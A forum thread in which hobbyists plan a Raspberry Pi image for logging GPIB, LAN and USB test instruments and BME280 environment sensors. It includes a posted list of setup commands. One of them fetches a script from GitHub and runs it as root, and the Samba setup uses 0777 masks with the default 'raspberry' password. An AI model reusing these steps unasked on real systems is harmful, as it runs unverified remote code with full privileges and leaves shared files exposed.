Poll

Interested/Instrument/Interface

Yes,3458A,GPIB
17 (23.9%)
Yes,3458A,Prologix
10 (14.1%)
Yes,K2001/K2002,GPIB
11 (15.5%)
Yes, post type of instrument and type of interface (GPIB,Prologix,USB,LAN, RS232)
29 (40.8%)
Not interested, why?
4 (5.6%)

Total Members Voted: 44

Voting closed: December 13, 2016, 11:12:53 am

Author Topic: Raspberry Pi2/3 logging platform for Voltnuts  (Read 75260 times)

0 Members and 1 Guest are viewing this topic.

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Raspberry Pi2/3 logging platform for Voltnuts
« on: November 13, 2016, 11:08:18 am »
Lot of members here needs to log data for various instruments.
And because there is no commonly accepted platform I would like to start collecting inputs for preparation image for RPi2/3 for data-logging over GPIB/LXI and USB.
Steps will be update on TiN website as well.
https://xdevs.com/guide/ni_gpib_rpi/
Soo will be there also RPi image which you will needs to restore on SD card.

Please add in this thread what you would like to log and what instrument.
Some of you have Prologix adapter which we can probably support with small modifications as well.
For logging environment is used BME280 ( temperature. humidity, pressure) sensors are pretty cheap $5 and reasonably accurate.

On RPi is running Apache as webserver and ProFTPd as FTP to access logs, of course SSH with screen  :)
Webpage on RPI contains live view of logged data with D3, from instrument and also data from BME280.

 
The following users thanked this post: pmcouto, DiligentMinds.com, Assafl

Offline VK5RC

  • Supporter
  • ****
  • Posts: 2262
  • Country: au
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #1 on: November 13, 2016, 11:23:32 am »
Hi Plesa,
For my vote its is all HP-Ag-Ks GPIB equipment with either  Prologix or HP 82357B. The later has some problems with clones abounding everywhere.
NI also in the running.
Thanks
Whoah! Watch where that landed we might need it later.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #2 on: November 13, 2016, 11:28:37 am »
plesa

Apache, noooo... How about nginx. I can help with setup.
I suggest to set deadline date for inputs , so after you could focus on making all features for version 0.1. ;)
If you want I can provide mercurial repository for sources/build files, etc off my server (no size limits).

I'd be happy with next feature set:

* Latest Pi3 kernel 4.x.x + linux-gpib (Have both Pi1 and Pi3 here)
* Python 2.7 as code platform
* Support for NI GPIB-USB-HS (I can test this)
* Support for Agilent GPIB pods and their clones  (can test with clone)
* Support for popular adapter like Prologix
* Support HP 34401A/3446xA
* Support HP 3458A (can test this)
* Support Keithley 2000
* Support Keithley 2001/2002 (can test this with both 2001 and 2002)
* Support BME280 for environment monitoring using I2C
* Function to upload CSV-data to remote FTP
* SSH via dhcp-network

Supporting all GPIB equipment would be many years of work, so I'd leave that out. If somebody need support specific piece of gear, they can dig thru instruments manual and write own python code to support logging required data.
For example I have Keithley 2510 TEC SMU, and use same app to log TEC power, temperature and current together with DMM samples, but I can't expect everyone to write support for it, just because I need it :) After few trial and errors it's not that hard for DIY.
« Last Edit: November 13, 2016, 11:33:07 am by TiN »
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #3 on: November 13, 2016, 11:34:09 am »
If it's python, I can help to write support for Keithley 2001, 2002, 2400, 2510, 182, HP 3458, Wavetek 4920/4920M.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline pmcouto

  • Supporter
  • ****
  • Posts: 95
  • Country: pt
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #4 on: November 13, 2016, 11:43:56 am »
Hi Plesa,

Thanks for your efforts.

I would like to have support for data logging over LAN for Keithley DMM7510, Tek DMM4050/Fluke 8846A and Keysight 3446xA/34470A.
 

Offline 2N3055

  • Super Contributor
  • ***
  • Posts: 2111
  • Country: hr
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #5 on: November 13, 2016, 11:46:21 am »
Plesa,
thanks for sharing...

For the moment I have Rigol DM3068 and RPi2..  It would be over Ethernet.
I would like to help with that.

P.S. Where did you guys get BME280 from?
 

Offline pmcouto

  • Supporter
  • ****
  • Posts: 95
  • Country: pt
 
The following users thanked this post: 2N3055

Offline acbern

  • Frequent Contributor
  • **
  • Posts: 316
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #7 on: November 13, 2016, 12:49:00 pm »
Great idea overall!! If this is written in Python, would it not also run (or could it be written in siuch a way) that it runs on a PC?
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #8 on: November 13, 2016, 01:28:09 pm »
That's possible too, I used such way before with PyVISA , but quickly dropped the idea as having separate box, without tie to bulky PC is well worth those 35$ for Pi.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 

Offline HighVoltage

  • Super Contributor
  • ***
  • Posts: 4259
  • Country: de
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #9 on: November 13, 2016, 01:48:04 pm »
Right now I am using the Prologix and RF Scientific logging software on my 3458A and other Agilent gear.
But I am very much interested in other options, especially RP.
There are 3 kinds of people in this world, those who can count and those who can not.
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 719
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #10 on: November 13, 2016, 02:53:02 pm »
I have been working on a small side project with the BME280. It takes the code we are using from Adafruit one step further by making it a network service.

Instead of calling it directly through the i2c interface, a server runs in the background and a client connects to it and gets the data. I have been using the server for some months now acting as a Fluke 1620A emulator. I have the real thing but it doesn't work very well and drops data intermittently.
I just wrote a client module that can be imported into a python app. It only requires a couple lines of code. The server and client can also reside on the same RPi if needed. My plan is to have a RPi run 24/7 feeding data to my Windows program monitoring 10V references and I won't have to move it around when I collect data for xDevs on a second RPi.

The code will be posted in a few days as I am waiting for a small case to show up that will also have a TFT display. I will be writing up an article in case anyone is interested in making one for their home lab. Plesa can also add it to the img file.
 
The following users thanked this post: Theboel, Dwaine, 2N3055

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 719
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #11 on: November 13, 2016, 03:10:03 pm »
Plesa,

I have attached a couple of shell scripts I used to setup my RPi on wheezy. If you find any of it useful you can add it to your project. The rpi_gpib_installer.sh works well but it only lets you select either the Agilent or NI interfaces. It might not be difficult to change for a universal install.
 
The following users thanked this post: 2N3055

Offline wraper

  • Supporter
  • ****
  • Posts: 10324
  • Country: lv
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #12 on: November 13, 2016, 03:18:50 pm »
Keysight 34461A, Rigol DM3068 over LAN.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #13 on: November 14, 2016, 08:01:19 pm »
Thanks for all inputs. Extra Kudos for  TiN and ManateeMafia
Based on voting majority needs support 3458A, so lets start with this instrument.
It is going to use latest Raspbian with Pixel, this is answer to TiN question related to kernel ( 4.4.26) and Python 2.7.9

GPIB interface:
NI GPIB-USB-HS - TiN, Plesa
Agilent 82357B ( official)  - we needs volunteer for testing
Agilent 82357B ( clone)  - I have dead clone only :(
Prologix GPIB-USB v6.0  - we needs volunteer for testing
Agilent E5810A  - Plesa

LAN:
support for LAN is made by
https://github.com/python-ivi/python-vxi11
http://alexforencich.com/wiki/en/python-vxi11/start
Alex Forencich ( member here)  - author of python-vxi11 and also USBTMC

Instruments (Support means script for dataloging)
In first phase only 3458A,K2001,K2002
Future phases  3441xA/34401A/3446xA

Enviroment:
2x BME280 connected to I2C - Python dataloging with Adafruit code to log file (csv) and ploting data on webpage on RPI (similar look like Fluke 1620A display  - 2nd page of datasheet)
http://download.flukecal.com/pub/literature/3397500_6200_ENG_B_W.PDF
2 sensors as minimum
BME280 sensors I used are these
https://www.sparkfun.com/products/13676
Others posted above do not allow to set I2C address, there are similar on Ebay for $5/pcs.

Data upload:
Function to upload CSV-data to remote FTP. I will prefer to make data available on RPI FTP instead of active upload.
Who needs this except TiN?

SSH access is default.
Apache2/NGINX - any preference except TiN?

Now we needs to discuss how to process data. I checked options like KST ( stability ) and ended like TiN with D3.js. There is possibility to plot graphs by D3 on server side to reduce processing time on webpage, but I needs to investigate further. Dataplot of 10MB takes 20-30s.
Currently I can imagine one page for data from 3458A ( timestamp, temperature, humidity,pressure) second page for environment log and third page as universal for generic instruments ( timestamp, value).
Any suggestions how to visualize data?
« Last Edit: November 14, 2016, 10:09:43 pm by plesa »
 
The following users thanked this post: TiN, 2N3055

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #14 on: November 14, 2016, 10:30:45 pm »
It whould be nice to have a web interface to setup measurement experiment/project.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #15 on: November 14, 2016, 10:34:49 pm »
I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.

Inviato dal mio Nexus 6P utilizzando Tapatalk

 

Offline lwatts666

  • Supporter
  • ****
  • Posts: 60
  • Country: au
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #16 on: November 15, 2016, 03:50:32 am »
The guys at sigrok.org have done a lot of work on unified cross platform drivers for various instruments and put it all under the GPL. You may be able to leverage some of their work. If nothing else, there is a lot info there.
 
The following users thanked this post: TiN

Offline t2kv

  • Contributor
  • Posts: 10
  • Country: au
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #17 on: November 15, 2016, 06:34:41 am »
Keysight 34461A over either LAN or USB, please.
 

Offline enut11

  • Frequent Contributor
  • **
  • Posts: 284
  • Country: au
  • Love building/modifying/restoring test equipment
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #18 on: November 15, 2016, 09:16:56 am »
@plesa

I have an HP3456A and Agilent HPIB to USB interface on the way. Also have RP3.
enut11
an electronics nut from wayback...
 

Offline guenthert

  • Frequent Contributor
  • **
  • Posts: 298
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #19 on: November 16, 2016, 12:41:20 am »
Hmmh, I'm generally in favor of strict separation of hard- and software, otherwise there will be unnecessary duplication of effort and fragmentation of community and knowledge.

If you suggest Raspberry Pi, I suppose you're ok with using Linux.  When the task is to access the GPIB using Linux, then the obvious choice would be to use the linux-gpib library (http://linux-gpib.sourceforge.net/), no?  Well, that's what I'm using at least (with an old PCI GPIB interface -- I also have a USB GPIB interface, but that doesn't seem to work well with multiple devices or older HPIB gear).

I would like to see more support for GPIB devices and perhaps on the high level ("presentation layer" if you will), like the web interface you suggest.
 

Offline Nuno_pt

  • Frequent Contributor
  • **
  • Posts: 373
  • Country: pt
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #20 on: November 16, 2016, 09:27:40 am »
Morning all,

I also have an 3456 on the way and a Agilent 82357B clone, 2xBME280 on the way, all to join the K2000 and the 3457.

They are all connected via GPIB cables.

I've 2xRPi2.

So for me would be great in the 3456/7 could be add to the list.
Nuno
CT2IRY
 

Offline mimmus78

  • Supporter
  • ****
  • Posts: 667
  • Country: it
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #21 on: November 16, 2016, 03:51:51 pm »
If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.
Anyone used this compatibility mode up to now on Keithely? How it works?

Anyway I think we must think at this as at least 3 software layer for just capturing the data:
  • TOP LAYER: gather data and store on CSV or some file based database
  • MIDDLE LAYER: implements instrument interface
  • LOW LEVEL LAYER: write GPIB commands to the physical interface (for supporting specific hardware - Prologix, 82357B, GPIB ENET, etc)
in this way we can implement how many LOW layer or instrument we wants without changing (too much) the other TOP layers.

Than I imagine a simple web interface made by two main modules:
  • interface for set "logging" tasks (this module speaks with TOP LAYER and configure the instrument for doing measurements), this interface show also the real time measured data
  • interface and module to elaborate the stored data gathered by TOP LAYER and to present them in the most appropriate way (charts, tables, etc) 
« Last Edit: November 16, 2016, 04:12:44 pm by mimmus78 »
 

Offline klaus11

  • Supporter
  • ****
  • Posts: 156
  • Country: 00
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #22 on: November 16, 2016, 05:55:30 pm »
K2001 does not play with 3458A
HP3458A, HP3245a, Keithley 2000, Fluke 87V, Rigol DP832, TEK TDS5052B, HP33120A
 
The following users thanked this post: TiN

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #23 on: November 16, 2016, 08:38:32 pm »
I have Raspi1 , and Raspi3
I would prefer Apache (sorry TIN)


Agilent 82357B ( clone)  - I have one , working excellent , and a Beiming
Agilent E5810A  - I have one , but not used it yet

Edit:
Have ordered : 2x BME280

/Bingo
« Last Edit: November 18, 2016, 09:27:53 pm by bingo600 »
 

Online lukier

  • Supporter
  • ****
  • Posts: 615
  • Country: gb
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #24 on: November 16, 2016, 10:14:32 pm »
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(
 

Offline Circuitous

  • Supporter
  • ****
  • Posts: 236
  • Country: us
    • Corgi-Tronics
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #25 on: November 17, 2016, 03:24:41 am »
I'm definitely interested in this project!

I'm interested in LAN support for any of:
34461A - Agilent
34410A - Agilent
DMM7510 - Keithley
2450 SMU - Keithley
DM3068 - Rigol

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #26 on: November 19, 2016, 06:50:28 pm »
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(

I have an E5810A wo. USB , doubt there's a "Beagle" MCU in there.

AFAIK HighVoltage have a B'

/Bingo
 
 
The following users thanked this post: lukier

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #27 on: November 19, 2016, 08:05:41 pm »
Agilent E5810A  - I have one , but not used it yet

Care for a mini teardown? I was thinking about GPIB-LAN bridges recently, because I only have one USB-GPIB adapter (also a 82357B clone) and it's not as convenient as having access to all the instruments from the network. So I've came up with the idea to implement a linux-gpib to VXI bridge to emulate E5810B (could do that with a RPi and this clone USB adapter perhaps), but I need to do more research on that.

While researching this I was looking at existing GPIB-LAN gateways, Keysight, ICS and also I've analyzed E5810B firmware a bit and it seems very clever as it uses TI's AM335X and the PRUSS cores to do the GPIB. I never saw the insides of this gateway so I don't know if PRUSS is bitbanging some GPIB interface chip (NAT9914 and the likes) or probably GPIB transceivers directly, which would be quite cool and fast. The kernel modules, especially the one responsible for talking to the PRUSS and GPIB is tagged with the GPL linker symbol, but I didn't find sources anywhere  :(

I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com.
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

If I remember K2001 and K2002 have 3458A GPIB compatibility mode ... so supporting 3458A means also K2001 and K2002.
Anyone used this compatibility mode up to now on Keithely? How it works?
K2001 do not have compatibility mode. It is only on K2001
I'm interested in LAN support for any of:
34461A - Agilent
34410A - Agilent
DMM7510 - Keithley
2450 SMU - Keithley
DM3068 - Rigol
Both 34461A and 3441xA will be working. For Keithley/Rigol I do not have access to them, but based on how Python scripts are, you can add their support (logging) easily.
Some old meters like 3457A I have in garage, so their support can be added later.

I don't know how D3 works, but I think it will be useful to have a file format that explains how to plot data and few "macro" to add things like stddev, convergence, ppm deviation between two measurements etc. If there is something like this, you can plot chart with one script.
Statistic available in D3 is min,max,mean,median,deviation, ppm is calculated against defined reference value. But If you needs something more complex you can access log by Samba of FTP and work with data in Excel/Libre Office or other statistical program.

In meantime I needs to define data separator ( comma, tab or semicolon) my preference is tab. So log files will be tsv and not csv. Any complains?

Current status:
Image for RPi 2/3 is ready ( ext4 replaced by F2FS)
Support implemented and tested for: LAN instruments ( tested with 34411A), USB ( by USBTMC, tested with 34411A), GPIB (NI USB-GPIB-HS,E5810A)
-big thanks to Alex Forecich ( member here)
http://www.alexforencich.com/wiki/en/python-vxi11/start
http://www.alexforencich.com/wiki/en/python-usbtmc/start
Modified Adafruid library to support two BME280 sensors

Now lets to discuss the D3 and plot part.
A) I propose to have separate graph for Environment data ( both BME280 in one graph) .
B) Measurement data in second graph with environment data from one sensor ( add plot for ppm).

On chart are possible following functions:
Zoom in/Zoom out
Display values on mouse over

Any ideas?

BTW Thanks to VK5RC - He donated one 82357B clone for testing.
Prologix has been ordered.

I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

« Last Edit: November 19, 2016, 09:09:21 pm by plesa »
 
The following users thanked this post: lukier

Online lukier

  • Supporter
  • ****
  • Posts: 615
  • Country: gb
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #28 on: November 19, 2016, 08:28:43 pm »
I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com.
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

I suspected that Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.

Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU cores :)

Anyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.

TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #29 on: November 19, 2016, 09:04:33 pm »
I suppose I already posted internal picture of E5810A, but it use the Power PC AMCC PPC405.Firmware seems to be made by ICS Electronic http://www.icselect.com.
And there is also one Xilinx Spartan, 83846 PHY and some Cypress for USB. If you wants picture of A version I can post within 2-3 weeks, when I will be back home:)
The main board looks more like some platform, because on front are 3x 64 pin connectors to connect display and few leds on front panel.

Agilent might have rebranded some ICS stuff. Someone here did a teardown of ICS 8065, based on NAT7210 interface chip, driven by LH75411 ARM7TDMI.

Thanks for the description, seems too like departure from NI interface chips (EOL I suppose), so probably the Spartan does the GPIB protocol details and just passes data back and forth with the PowerPC. Still not as clever and simple as driving the GPIB transceivers straight from the PRU cores :)

Anyway, that's just curiosity, I don't want to dive deep into the GPIB details to be able to implement this in PRU. I'm leaning towards just a piece of software to translate VXI11 to linux-gpib calls so anyone with any supported GPIB adapter (NI, Agilent, Beiming, clones etc) and board of choice (RPi, BeagleBone etc) could set up a GPIB to LAN gateway.

TI AM335X GPIB would be useful for those that don't have any GPIB adapters or slow ones (e.g. not NI HS variant), but requires much more and low level work.

I also suppose that it is re-brand or some of their OEM product.
NI seems to have also obsolescence problems and that why they made NI GPIB-USB-HS+, it can be interesting what is inside.
It can be useful, but the amount of work seems to be big, maybe for someone like NighPanda who made Beiming adapter:)

BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)


« Last Edit: November 19, 2016, 09:10:06 pm by plesa »
 

Online lukier

  • Supporter
  • ****
  • Posts: 615
  • Country: gb
    • Homepage
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #30 on: November 19, 2016, 09:29:08 pm »
BTW I'm surprised how many people are using one adapter per instrument, after that is GPIB quite "expensive" interface.And GPIB cables are so cheap on eBay:)

Seriously? Bus is in the name :) I wouldn't call GPIB cables cheap (especially when compared to mass produced computer cables), but still much cheaper than even Agilent clones or Beiming.

BTW For those looking for GPIB cables I can recommend this seller:

http://www.ebay.co.uk/itm/400964594669

Bought from them 4 last year and 4 pcs recently and these cables are of very good quality, solid metal connector. Much better than some GPIB cables I found in the dumpster once (insulation coming out of the connector, plastic connector shells etc).
 

Offline Nuno_pt

  • Frequent Contributor
  • **
  • Posts: 373
  • Country: pt
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #31 on: November 20, 2016, 10:19:40 pm »
I've bought 10x 50cm HP GPIB cables for $30 to connect everything toghether.
I already have the 53181 conhecer to the 3457, and the 3457 conhecer to the K2000.
Next will be the K2000 conhecer to the 3456, then the 3456 conhecer to the PC with GPIB to USB HP clone.
Nuno
CT2IRY
 

Offline TiN

  • Super Contributor
  • ***
  • Posts: 4045
  • Country: tw
  • xDevs.com/live - 24/7 lab feed
    • xDevs.com
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #32 on: November 21, 2016, 04:09:25 am »
plesa
Quote
I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

My SD card in one of Pi1's died recently, so I'm surely can try new image now  ;D.

One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for example  :-\ Yea, my linux-magic not that great.
YouTube | Chat room | Live-cam | Have documentation to share? Upload here! No size limit, firmware dumps, photos.
 
The following users thanked this post: plesa

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #33 on: November 21, 2016, 10:05:46 pm »
plesa
Quote
I can upload current version of image (8GB SD card is minimum) or wait for Prologix. Anyone interested in current version?

My SD card in one of Pi1's died recently, so I'm surely can try new image now  ;D.

One more suggestion - to have main linux partition located in the end of the image. So it could be easily expanded to larger SD cards. It's PITA to do so if there is other smaller partition in the end or swap in 8GB image, and you use it on 32GB card for example  :-\ Yea, my linux-magic not that great.

Image is being uploaded to xDevs FTP :) File is called RPi_LogNut.7z
I tried to minimize the image size, but there seems to be problem with F2FS ( but I have much better experience with F2FS than with Ext4 FS).
Current image size after compression is 2.2GB. For image creation was used Win32DiskImager.
On image is enabled Samba, so you can access/map  /pub directory on your main computer.
Following has been tested:
   Connection to LAN instrument ( example /pub/python/Test_LAN.py)
   Connection to USB  instrument ( example /pub/python/Test_USB.py)
   Connection to GPIB instrument over NI adapter ( example /pub/python/Test_GPIB.py)
   Samba /pub ( read/write)
  BME280 logging (   /pub/python/BME280/BME_Logging_tsv.py)

Following needs to be set:
  webserver
  D3 scripts for logging (I would like to make it universal - description of plot loaded from log file header)
  Test support for 82357B clone adapter
  Test Prologix GPIB-USB Controller 6.0


Here are notes if someone want to update you own image:
1. Download Raspbian image  (RASPBIAN JESSIE WITH PIXEL)  it will take a while 1.4GB
https://www.raspberrypi.org/downloads/raspbian/

2. For image installation follow
https://www.raspberrypi.org/documentation/installation/installing-images/README.md

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install screen mc f2fs-tools i2c-tools samba samba-common-bin bc python-dev rpi-update tk-dev build-essential texinfo texi2html libcwidget-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool

sudo rpi-update
sudo wget https://raw.githubusercontent.com/notro/rpi-source/master/rpi-source -O /usr/bin/rpi-source && sudo chmod +x /usr/bin/rpi-source && /usr/bin/rpi-source -q --tag-update
sudo rpi-source
sudo reboot

cd /opt
sudo svn checkout http://svn.code.sf.net/p/linux-gpib/code/trunk/linux-gpib/ linux-gpib
cd linux-gpib
sudo ./bootstrap
sudo ./configure
sudo make
sudo make install

sudo svn checkout https://github.com/python-ivi/python-vxi11/trunk python-vxi11
cd python-vxi11
sudo python setup.py install

sudo svn checkout https://github.com/python-ivi/python-usbtmc/trunk python-usbtmc
cd python-usbtmc   
sudo python setup.py install
sudo pip install pyusb

 # Following part is test USB connection
import usbtmc
instr =  usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")
print(instr.ask("*IDN?"))
 # Agilent Technologies,34411A,MY480060XX,2.41-2.40-0.09-46-09
Vice info https://github.com/python-ivi/python-usbtmc


 # I2C
enable i2C in raspi-config
sudo raspi-config
-7 Advanced Options - A7 I2C Enable/Disable automatic loading of I2C kernel module - YES
reboot
 # Now detect the BME280 by
sudo i2cdetect -y 1
pi@raspberrypi:~ $ sudo i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- --
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
40: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
70: -- -- -- -- -- -- 76 77

 # Address 77 and 76 - BME280

Install adafruit library
cd opt   
sudo git clone https://github.com/adafruit/Adafruit_Python_GPIO.git
cd Adafruit_Python_GPIO
sudo python setup.py install

Modication second module ( I2C address to 76 instead 77 )
https://cdn.sparkfun.com/datasheets/Sensors/Weather/SparkFun_BME280_Breakout_v10.pdf

 # Samba configuration
sudo smbpasswd -a pi
enter Samba password (raspberry)

create /pub directory
mkdir pub
chown -R  pi /pub
sudo nano /etc/samba/smb.conf

 # add following to smb.conf
[pub]
   comment= RPi pub
   path=/pub
   browseable=Yes
   writeable=Yes
   only guest=no
   create mask=0777
   directory mask=0777
   public=no

 
The following users thanked this post: Assafl

Offline bingo600

  • Super Contributor
  • ***
  • Posts: 1363
  • Country: dk
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #34 on: November 22, 2016, 07:00:54 pm »
@Plesa

Any hints/picts for mounting the BME280's ?
Do you have them on "cables" or what ?

Is the image for a Raspi3 , or can it run on a Raspi1 (old 512MB)  too ?

Edit: Thanx for doing this Plesa  :-+

Ohh suggestion . NFS Client , to be able to log data to a remote NFS disk , will also reduce the wear on the SD card.

/Bingo
« Last Edit: November 22, 2016, 07:15:10 pm by bingo600 »
 

Offline ManateeMafia

  • Frequent Contributor
  • **
  • Posts: 719
  • Country: us
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #35 on: November 22, 2016, 10:21:27 pm »
@bingo600

I have the Adafruit version of the BME280 breakout and I plan on putting mine inside of a Hammond 1551MFLBK enclosure. One of the holes of the pcb will be used to secure it to one of the internal standoffs.

The enclosure is much larger but I like the fact I can use a zip tie to temporarily mount it where it is needed. I will have to drill some small holes near the sensor.

I have found the board to be highly sensitive to air drafts and have been keeping mine wrapped in anti-static foam for a while now.
 

Offline plesa

  • Frequent Contributor
  • **
  • Posts: 965
  • Country: se
Re: Raspberry Pi2/3 logging platform for Voltnuts
« Reply #36 on: November 22, 2016, 11:49:29 pm »
2x BME are hooked on I2C cable. One is packed with LTZ board inside polystyrene box.It is not secure by any screw.Nothing fancy I was in hurry to hook it up before leaving.

Image should be transferable to RPi2 ( tested ) for RPi I propose to run sudo apt-get update && sudo apt-get upgrade && rpi-update && reboot.
And after that I will be probably required to reinstall Linux-gpib according to notes above.

The NFS client, is good idea. The main aim of making this image is to help to people with 3458A and other instrument to setup powerful logging tool.
Currently we needs to more focus on interpreting the data (website for piloting basic scripts) rather than fine tunning image I think.
